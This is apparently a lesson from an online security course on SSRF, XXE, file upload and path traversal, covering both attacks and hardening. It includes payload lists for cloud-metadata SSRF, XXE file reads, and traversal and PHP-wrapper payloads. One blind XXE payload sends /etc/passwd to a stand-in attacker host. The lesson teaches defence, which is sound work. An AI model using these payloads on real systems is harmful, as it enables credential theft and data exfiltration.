LESSON 39 · INTERMEDIATE10 min read

SSRF, XXE, File Upload, and Path Traversal

Make a server fetch, parse, store, and read things it should not, then design egress, parser, upload, and filesystem controls that hold under encoding tricks.

OWASP Top 10 · MITRE ATT&CK · NIST CSF 2.0Free to readModule 8 of 14
YOUR NEXT SMALL WINS

By the end, you’ll be able to…

  • Exploit and defend server-side request forgery, including cloud metadata and redirect-based bypasses.
  • Read files and reach internal services through XML external entities, and harden XML parsers.
  • Assess file upload controls by extension, MIME type, magic bytes, storage location, and execution context.
  • Test path traversal, local file inclusion, and wrapper abuse, then enforce canonical paths and allowlists.

01SSRF: The Server Fetches for You

Server-side request forgery happens when an application fetches a URL chosen by a user. Image importers, link previews, webhook testers, PDF generators, RSS readers, and URL shorteners all make outbound requests with the server's network identity. If the destination is not constrained, the attacker can reach services that are only available from inside the network: administrative panels on localhost, internal APIs, databases with HTTP interfaces, and cloud metadata endpoints.

The classic target is the instance metadata service at 169.254.169.254. On AWS, a request to /latest/meta-data/iam/security-credentials/ can return temporary credentials for the instance role when IMDSv1 is enabled. IMDSv2 requires a PUT request to obtain a token and then sends that token in a header, which raises the bar but does not make a blind SSRF harmless. Google Cloud requires the Metadata-Flavor: Google header, and Azure requires Metadata: true, but an attacker who controls headers can supply them. The impact is credential theft and lateral movement into the cloud account.

Bypasses target the gap between the validator and the fetcher. Validators that block the string 127.0.0.1 may miss 2130706433 (the same address in decimal), 0x7f000001, 127.1, [::1], or a DNS name that resolves to loopback. A public allowlisted host may redirect to an internal address, so redirect following must be disabled or revalidated at every hop. DNS rebinding serves a public address during validation and a private one at connection time. Blind SSRF, where the response is not returned, can still be confirmed with timing differences or an out-of-band interaction server.

ssrf-payloads.txtPlain text
TARGETS (local lab and cloud test account only)  http://127.0.0.1:8080/admin  http://localhost:9200/_cluster/health  http://[::1]:8500/v1/status/leader  http://169.254.169.254/latest/meta-data/  http://169.254.169.254/latest/meta-data/iam/security-credentials/  http://metadata.google.internal/computeMetadata/v1/ADDRESS ENCODINGS THAT BYPASS NAIVE BLOCKLISTS  http://2130706433/            decimal for 127.0.0.1  http://0x7f000001/            hexadecimal  http://0177.0.0.1/            octal  http://127.1/                 shorthand  http://127.0.0.1.nip.io/      DNS name resolving to loopbackCHAINED BYPASSES  - Allowlisted host with an open redirect to 127.0.0.1.  - DNS rebinding: public at validation, private at connection.  - URL parser confusion: userinfo, backslashes, encoded slashes.  - Redirect from https to http, or to a different port.BLIND CONFIRMATION  - Measure response time for a slow internal endpoint.  - Point the fetcher at a lab interaction server and watch for DNS or HTTP.

02SSRF Defences That Survive Redirects and DNS

The strongest design is to avoid arbitrary URLs entirely. If a feature needs to fetch an image, accept an upload instead. If it needs to call a partner API, use a fixed base URL and let the user choose only from enumerated resources. When a URL is unavoidable, allowlist the scheme, exact host, and port, then resolve the hostname and check every returned address against a blocklist of loopback, private, link-local, multicast, and reserved ranges. Do the resolution at connection time, or pin the validated address, so DNS rebinding cannot swap it.

Disable automatic redirects, or follow them manually and revalidate each destination. Set strict connect and read timeouts, cap response size, and do not return raw response bodies to the user. Run the fetcher in a separate network namespace or egress proxy with its own firewall policy, so even a successful bypass cannot reach the metadata service or the production database. Apply least privilege to the workload identity: if the service does not need to read object storage, its role should not be able to.

Cloud configuration matters as much as code. Enforce IMDSv2 with a low hop limit, block pod access to the metadata address where the platform supports it, and use workload identity instead of long-lived keys. Log outbound requests with the destination, status, and initiating user, and alert on destinations that are unusual for the service. A deny-by-default egress policy turns an SSRF from a network pivot into a failed request.

ssrf_safe_fetch.py🐍Python
Ctrl + ↵
Output
Click Run or press Ctrl+Enter
Output will appear here after you run the code.

03XXE: When XML Parsers Resolve Entities

XML supports a document type definition that can declare entities. An external entity tells the parser to load content from a URI and substitute it into the document. If a parser resolves external entities and returns the parsed content, an attacker can read local files or make the server issue requests. The same primitive can reach internal services, which makes XXE an SSRF variant with a file-read bonus. SOAP APIs, SAML assertions, SVG uploads, DOCX and XLSX files, and configuration imports are all XML entry points that developers often forget.

A classic payload declares an entity with SYSTEM and a file URI, then references it in an element the application echoes back. If the response is not returned, the parser may still resolve the entity and produce an error that contains the file content. When nothing is reflected, blind XXE uses an external DTD hosted on an attacker-controlled lab server: parameter entities read the file and embed it in a URL, and the server's request to that URL carries the data out of band. This is why an XML parser that is merely 'not returning errors' is not necessarily safe.

The fix is configuration, not input filtering. Disable DTD processing entirely where the format does not require it. If DTDs are required, disable external general and parameter entities and external DTD loading, and do not resolve external schemas. Use a hardened parser or a library that is secure by default, such as defusedxml in Python. In Java, set disallow-doctype-decl and the external entity features to false on the parser factory. In .NET, set DtdProcessing to Prohibit. In PHP, pass the right libxml options and avoid the legacy entity loader. Prefer JSON for new APIs, and validate uploaded XML against a strict schema after parsing with a hardened configuration.

xxe-payloads.txtPlain text
CLASSIC FILE READ<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stock [  <!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck><productId>&xxe;</productId></stockCheck>SSRF THROUGH AN ENTITY<!DOCTYPE stock [  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><stockCheck><productId>&xxe;</productId></stockCheck>ERROR-BASED FILE READ<!DOCTYPE stock [  <!ENTITY xxe SYSTEM "file:///nonexistent-path">]><stockCheck><productId>&xxe;</productId></stockCheck>BLIND OUT-OF-BAND<!-- Request document --><!DOCTYPE stock [  <!ENTITY % remote SYSTEM "http://lab.attacker.test/evil.dtd">  %remote;]><stockCheck><productId>1</productId></stockCheck><!-- evil.dtd hosted on the lab interaction server --><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://lab.attacker.test/?x=%file;'>">%eval;%exfil;

04File Upload: Bytes, Names, and Execution

A file upload is a trust boundary with three separate questions. What are the bytes? Where are they stored? How are they served? Many defences check only the filename extension, which fails against shell.php.jpg, shell.phtml, a double extension, a trailing dot on Windows, or a Content-Type header that the client controls. The server must inspect the actual content, decide what type it really is, and store it under a name and location it controls.

Magic bytes are a better signal than the extension, but they are not proof. An attacker can prepend GIF89a to a script and create a polyglot that passes a naive image check. The safe pattern is to decode and re-encode images with a maintained library, which discards appended payloads and strips metadata. For documents, validate the container format, cap decompressed size to stop zip bombs, and scan with an antivirus engine where the risk justifies it. Reject anything that does not match the expected type for the feature.

Storage and serving decide the impact. Store uploads outside the web root, or in object storage that never executes code. Generate a random name and keep the original filename only as metadata. Serve files through an application handler that sets a safe Content-Type, X-Content-Type-Options: nosniff, and Content-Disposition: attachment for untrusted content. Use a separate domain for user content so an HTML or SVG file cannot run in the application's origin. Never grant execute permission to the upload directory, and never let a user-supplied path become a filesystem path.

upload_handler.phpPhp
<?php// Allowlist by detected MIME type, not by the client-supplied filename.$allowed = ["image/png" => "png", "image/jpeg" => "jpg"];$finfo = new finfo(FILEINFO_MIME_TYPE);$mime = $finfo->file($_FILES["file"]["tmp_name"]);if (!isset($allowed[$mime])) {    http_response_code(415);    exit("Unsupported file type");}if ($_FILES["file"]["size"] > 2 * 1024 * 1024) {    http_response_code(413);    exit("File too large");}// Random name, controlled extension, storage outside the web root.$name = bin2hex(random_bytes(16)) . "." . $allowed[$mime];$destination = "/var/app/private-uploads/" . $name;if (!move_uploaded_file($_FILES["file"]["tmp_name"], $destination)) {    http_response_code(500);    exit("Upload failed");}// Serve later through a controller that checks ownership and sends:// Content-Type: application/octet-stream// Content-Disposition: attachment; filename="download"// X-Content-Type-Options: nosniff

05Path Traversal, LFI, and Wrappers

Path traversal occurs when user input becomes part of a filesystem path without canonicalisation. A download endpoint that builds /var/app/files/ plus the requested name can be walked out of the directory with ../../../../etc/passwd. Encoded variants (%2e%2e%2f), double encoding (%252e%252e%252f), backslashes on Windows, and redundant separators (....//) defeat naive string replacement. The correct check is to resolve the final path with realpath and confirm it is inside the intended base directory, then serve by an opaque identifier rather than a user-supplied path.

Local file inclusion is the same primitive applied to a language include or template loader. If an application includes a page selected by a parameter, traversal can include local files, and wrappers can change the behaviour. php://filter can base64-encode a source file so it can be read through a page that would otherwise execute it; data:// can supply code; phar:// can trigger metadata deserialisation. Remote file inclusion requires allow_url_include and is less common today, but it is still found in legacy code. Log poisoning, where attacker-controlled text is written to a log and then included, is a chaining technique rather than a separate bug.

Defend by never accepting a path from the user. Map a small set of logical names to fixed files, or store files under random identifiers and look them up in a database. If a path must be accepted, normalise it, resolve symlinks, require the result to start with the base directory plus a separator, and reject null bytes and control characters. Run the application with a dedicated low-privilege user, mount only the directories it needs, and disable dangerous wrappers and remote includes. A web server chroot or container filesystem limits the blast radius when a check is missed.

traversal-payloads.txtPlain text
BASIC TRAVERSAL  ../../../../etc/passwd  ..\..\..\windows\win.ini  /etc/passwdENCODED AND DOUBLE-ENCODED  ..%2f..%2f..%2fetc%2fpasswd  %2e%2e%2f%2e%2e%2fetc%2fpasswd  ..%252f..%252fetc%252fpasswd  ..%c0%af..%c0%afetc%c0%afpasswdFILTER BYPASS SHAPES  ....//....//etc/passwd  ..;/..;/etc/passwd  ..%5c..%5cetc%5cpasswdLFI AND WRAPPERS (PHP lab)  ?page=php://filter/convert.base64-encode/resource=index.php  ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+  ?page=phar://uploads/archive.phar  ?page=/var/log/apache2/access.logSECURE CHECK  base = realpath("/var/app/files")  target = realpath(base + "/" + user_value)  allow only if target starts with base + os.sep

06Testing the File and URL Surface

For SSRF, inventory every feature that accepts a URL or a hostname. Test with a local listener you control, then with loopback, private ranges, and the metadata address in a test account. Try encoded addresses, redirects, and DNS names that resolve internally. Check whether the response body, status code, timing, or an out-of-band interaction reveals success. Confirm the egress policy from the application's actual network position, not from your laptop.

For XXE, submit a well-formed XML document with a harmless external entity pointing at a lab listener and observe whether the parser resolves it. Test file reads against a known world-readable file, and test error-based and blind variants if the response is empty. Check every XML parser in the stack, including SOAP, SAML, SVG, and document import. For uploads, test the extension allowlist, the MIME header, the magic bytes, a polyglot, an oversized file, a zip bomb, and a filename containing traversal. Verify where the file lands and whether it can be fetched or executed.

For traversal, test the parameter with plain, encoded, and double-encoded sequences, then confirm the canonical path behaviour. Try absolute paths, backslashes, null bytes, and wrapper schemes. A response containing a known file is proof; a generic error is not proof of safety, because the file may still have been read. Record the exact request, the parser or handler involved, and the control that failed so the fix is targeted.

LET IT CLICK

The ideas worth keeping.

  • SSRF is about where the server can reach; allowlists, address validation, redirect control, and egress policy are all required.
  • XXE is a parser configuration failure, and blind variants can exfiltrate data with no visible response.
  • Upload security depends on what the bytes are, where they are stored, and how they are served, not on the filename alone.
  • Path traversal is fixed by canonicalisation and identifier mapping, not by deleting dot-dot sequences.
TURN UNDERSTANDING INTO SOMETHING YOU CAN DO

Make it yours.

Type and test your code right here in the interactive workspace. Run your solution, check the output, and compare with the worked guide when ready.

01

Exercise 1: Fix an image proxy

A service exposes /proxy?url= and fetches any http or https URL, follows redirects, and returns the body. A tester reaches 127.0.0.1:8500 and the cloud metadata endpoint. Describe the layered fix and the order you would apply it.

Explore a worked solution
one_possible_solution.mdCybersecurity
First, stop returning raw bodies and constrain the feature: accept only an image identifier or a URL on an exact allowlist of image hosts, with https only and port 443. Resolve the hostname at request time and reject loopback, private, link-local, multicast, and reserved addresses; pin the validated address for the connection. Disable automatic redirects or revalidate every hop against the same rules. Add a short timeout and a response size cap. Move the fetcher behind a deny-by-default egress proxy, enforce IMDSv2 with a low hop limit, and remove unused permissions from the workload role. Log destinations and alert on internal addresses. Test by repeating the original payloads and confirming all are rejected before any bytes are returned.

SSRF defence is layered because validators and fetchers disagree. Allowlisting, address checks, redirect control, network egress policy, and cloud hardening each close a different bypass.

02

Exercise 2: Harden an upload and download flow

A support portal lets agents upload attachments and download them at /download?file=NAME. Files are stored in /var/www/portal/uploads. Describe the vulnerabilities and the redesign.

Explore a worked solution
one_possible_solution.mdCybersecurity
The download parameter is a path traversal risk, and the storage directory is inside the web root, so an uploaded script could be executed if the server processes it. The upload likely trusts the extension and Content-Type. Redesign: validate the detected MIME type and re-encode images; generate a random identifier and store metadata in the database; keep files outside the web root or in object storage; serve downloads through a controller that looks up the identifier, checks authorisation, and sends Content-Disposition: attachment with nosniff. Reject names containing separators, resolve the final path, and confirm it is inside the base directory. Disable execution in the upload directory, cap size, and scan files. Test with traversal names, double extensions, a polyglot, and another user's file identifier.

Upload and download are one flow. The filename must never be a path, the storage must not be executable, and serving must be mediated by an authorisation check.

A SMALL QUESTION. A USEFUL NEXT STEP.

What stayed with you?

Check the ideas while they’re fresh. Your answers stay in this page and feedback appears as you go.

A LITTLE ACTIVE RECALL0 / 3 answered
01Why is 169.254.169.254 a high-value SSRF target?
02Which change most directly prevents XXE?
03What is the correct check for a user-supplied file path?

Keep exploring.

The official references behind this lesson, when you want a second angle or the full details.

One lesson closer.

Reading is a start. Trying it yourself makes the connection.

Completion is saved in this browser. It records reading and hands-on practice progress.